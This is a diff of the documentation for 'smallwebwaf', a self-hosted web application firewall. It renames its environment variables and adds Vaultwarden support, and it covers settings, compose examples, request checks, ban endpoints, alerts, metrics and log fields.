| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
|
||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||
full, and the limits that are fixed rather than settings.
|
||||
@@ -365,8 +363,8 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
|
||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -401,8 +399,8 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
|
||||
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -411,22 +409,22 @@ services:
|
||||
environment:
|
||||
SWW_COMMAND: discriminator
|
||||
# Monitoring skips every check.
|
||||
SWW_WAF_ALLOW_NETS: 192.0.2.10
|
||||
SWW_ALLOW_NETS: 192.0.2.10
|
||||
# The office and the automation host are never rate limited.
|
||||
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||
# A netblock that sends nothing wanted.
|
||||
SWW_WAF_DENY_NETS: 198.51.100.128/25
|
||||
SWW_DENY_NETS: 198.51.100.128/25
|
||||
# Tighter limits for everyone else: a small static site.
|
||||
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
|
||||
SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
|
||||
SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
|
||||
SWW_RATE_LIMIT_PER_MINUTE: "60"
|
||||
SWW_RATE_LIMIT_PER_HOUR: "600"
|
||||
SWW_RATE_LIMIT_PER_DAY: "3000"
|
||||
# Hosting networks and one country get a share of those limits.
|
||||
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||
# Paths only scanners ask for; one request bans the client.
|
||||
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||
# Answer a refused client with 429 rather than 403.
|
||||
SWW_WAF_BAN_RESPONSE: "429"
|
||||
SWW_WAF_LIMIT_BAN_DURATION: 30m
|
||||
SWW_BAN_RESPONSE: "429"
|
||||
SWW_LIMIT_BAN_DURATION: 30m
|
||||
volumes:
|
||||
- discriminator-state:/var/lib/sww
|
||||
|
||||
@@ -452,9 +450,9 @@ services:
|
||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||
build: ./app
|
||||
environment:
|
||||
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
# Answer 503 rather than pass a request on while discriminator is down.
|
||||
SWW_RPROXY_DEFAULT_DISPOSITION: deny
|
||||
SWRP_DEFAULT_DISPOSITION: deny
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
@@ -462,16 +460,16 @@ services:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: discriminator
|
||||
SWW_WAF_INSTANCE_NAME: fsn1/discriminator
|
||||
SWW_INSTANCE_NAME: fsn1/discriminator
|
||||
# Refuse nothing yet; log what enforce mode would have done.
|
||||
SWW_WAF_MODE: observe
|
||||
SWW_MODE: observe
|
||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||
SWW_WAF_LOOKUP_SOURCE: file
|
||||
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||
SWW_LOOKUP_SOURCE: file
|
||||
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||
# Alerts to an ntfy topic, with its token read from a file.
|
||||
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||
volumes:
|
||||
- discriminator-state:/var/lib/sww
|
||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||
@@ -508,18 +506,18 @@ of the request reaches the app.
|
||||
|
||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request
|
||||
as the visitor sent it, with the first 64 KiB of its body.
|
||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
|
||||
the visitor sent it, with the first 64 KiB of its body.
|
||||
|
||||
`discriminator` takes the checks:
|
||||
|
||||
3. The tag lists.
|
||||
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
|
||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||
5. The bans.
|
||||
6. The lookup of the client's AS number and country.
|
||||
7. The country list.
|
||||
8. The reputation sources.
|
||||
9. The tag refusals of `SWW_WAF_TAG_DENY`.
|
||||
9. The tag refusals of `SWW_TAG_DENY`.
|
||||
10. The client's limit percentage, from its tags, its AS number, its country or
|
||||
a reputation hit.
|
||||
11. The rate limits.
|
||||
@@ -535,24 +533,23 @@ of the request reaches the app.
|
||||
17. The request is passed to the app, streaming.
|
||||
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
||||
and the body bytes each way. For an allowed request, `discriminator` counts
|
||||
the bytes `SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the
|
||||
client if they take it past one, and adds the request to the client's
|
||||
history.
|
||||
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
|
||||
they take it past one, and adds the request to the client's history.
|
||||
|
||||
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
|
||||
instead. A request over the header limits of step 14 is answered `431`, and bans
|
||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||
and the status for a size or time limit, such as `413` for a body too large.
|
||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||
request over the header limits of step 14 is answered `431`, and bans nobody
|
||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||
status for a size or time limit, such as `413` for a body too large.
|
||||
|
||||
### Clients and bans
|
||||
|
||||
- A client is one IPv4 address or one IPv6 netblock of
|
||||
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
||||
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
|
||||
since one abuser usually controls a whole /64.
|
||||
- Each limit is counted over a sliding window with a few integers per client.
|
||||
The table of clients and the table of bans each have a bound
|
||||
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
|
||||
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
|
||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||
lifts it.
|
||||
@@ -567,41 +564,43 @@ Each request gets tags from what `discriminator` knows of its client, written in
|
||||
the `tags` field of its log line:
|
||||
|
||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
||||
`torexit` or `vpn=mullvad`;
|
||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||
or `vpn=mullvad`;
|
||||
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||
the client;
|
||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||
`SWW_WAF_ROUTEWATCH_URL` is set.
|
||||
`SWW_ROUTEWATCH_URL` is set.
|
||||
|
||||
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
|
||||
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
|
||||
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
|
||||
### Attack detection
|
||||
|
||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||
headers of every request, and no body unless
|
||||
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
|
||||
carry what people write and publish, which the rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
|
||||
requests get through to a code forge, to WordPress, to Drupal and to
|
||||
MediaWiki. They include git over HTTP and sign-in through Git Credential
|
||||
Manager on a code forge, and saving a post from the block editor on WordPress.
|
||||
On gitea's own paths, its searches, file names and branch names get through
|
||||
too. On WordPress's own paths, its searches, names and file names do. On
|
||||
Drupal's own paths, the page to return to, its searches and its names get
|
||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||
front of a code forge, bodies carry what people write and publish, which the
|
||||
rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in twelve ways so that ordinary
|
||||
requests get through to a code forge, to WordPress, to Drupal, to MediaWiki
|
||||
and to Vaultwarden. They include git over HTTP and sign-in through Git
|
||||
Credential Manager on a code forge, and saving a post from the block editor on
|
||||
WordPress. On gitea's own paths, its searches, file names and branch names get
|
||||
through too. On WordPress's own paths, its searches, names and file names do.
|
||||
On Drupal's own paths, the page to return to, its searches and its names get
|
||||
through too. On MediaWiki's own paths, its searches, page titles, names and
|
||||
wikitext do. No setting undoes the changes; "Attack detection" in
|
||||
[`SPEC.md`](SPEC.md) lists them.
|
||||
wikitext do. On Vaultwarden's own paths, its names, password hints, email
|
||||
addresses and encrypted file names do. No setting undoes the changes; "Attack
|
||||
detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||
- These apps work out of the box at the default settings, and their recorded
|
||||
ordinary requests pass the Core Rule Set:
|
||||
- gitea;
|
||||
- WordPress;
|
||||
- Drupal;
|
||||
- MediaWiki.
|
||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
|
||||
own fields or paths.
|
||||
- MediaWiki;
|
||||
- Vaultwarden.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
while `discriminator` runs. The image ships one file of probes no real visitor
|
||||
sends (see [`docs/rules.md`](docs/rules.md)).
|
||||
@@ -609,7 +608,7 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
### State files
|
||||
|
||||
`discriminator` keeps everything in memory, and the five JSON files in
|
||||
`SWW_WAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
||||
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
||||
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
||||
renamed over the real one, so a crash leaves a complete file. `discriminator`
|
||||
notices a file edited on disk and takes the edit in; an edit that does not parse
|
||||
|
||||
@@ -5,16 +5,16 @@ The endpoints under `/_sww/`, what each takes and what each answers.
|
||||
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||
|
||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
|
||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||
[`metrics.md`](metrics.md)).
|
||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
|
||||
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
|
||||
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
|
||||
what is wrong:
|
||||
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
||||
wrong:
|
||||
- one that is not such an object, or has another field;
|
||||
- one longer than 4 KiB;
|
||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||
@@ -38,8 +38,8 @@ in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Examples
|
||||
|
||||
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator`
|
||||
reached as `discriminator:8080` on its network:
|
||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
||||
as `discriminator:8080` on its network:
|
||||
|
||||
```sh
|
||||
# Every ban.
|
||||
|
||||
+4
-4
@@ -77,8 +77,8 @@ on one line:
|
||||
}
|
||||
```
|
||||
|
||||
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
|
||||
`event`: one of the events above.
|
||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||
one of the events above.
|
||||
- `host`: the site of the request that raised the alert, since one
|
||||
`discriminator` serves many sites. It is left out of `source_failure`,
|
||||
`file_error` and `summary`.
|
||||
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
||||
escaped. ntfy gets the text as the message, with these headers:
|
||||
|
||||
- `Title`: the title;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while
|
||||
`SWW_WAF_ALERT_NTFY_TOKEN` is set;
|
||||
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
||||
is set;
|
||||
- `Priority` and `Tags`: by event, as listed below.
|
||||
|
||||
The priority and tag by event:
|
||||
|
||||
+2
-2
@@ -6,7 +6,7 @@ keeps the `instance` label as `exported_instance` unless the scrape sets
|
||||
`honor_labels: true`. `rproxy` has no metrics.
|
||||
|
||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
||||
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||
|
||||
## Traffic
|
||||
|
||||
@@ -33,7 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
|
||||
|
||||
## Countries and AS numbers
|
||||
|
||||
For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
|
||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||
|
||||
+15
-17
@@ -44,7 +44,7 @@ Every one of these lines has:
|
||||
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
||||
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
||||
line.
|
||||
- `instance`: `SWW_WAF_INSTANCE_NAME`.
|
||||
- `instance`: `SWW_INSTANCE_NAME`.
|
||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||
- `method`, `path` and `query`: the visitor's request.
|
||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||
@@ -82,8 +82,8 @@ Every one of these lines has:
|
||||
- GeoJS had not answered by the time `discriminator` answered.
|
||||
- `content_type`: the visitor's `Content-Type`.
|
||||
- `content_length`: the body length the visitor announced.
|
||||
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
|
||||
name in lower case.
|
||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||
lower case.
|
||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||
Their values are never logged.
|
||||
|
||||
@@ -96,8 +96,8 @@ Every one of these lines has:
|
||||
|
||||
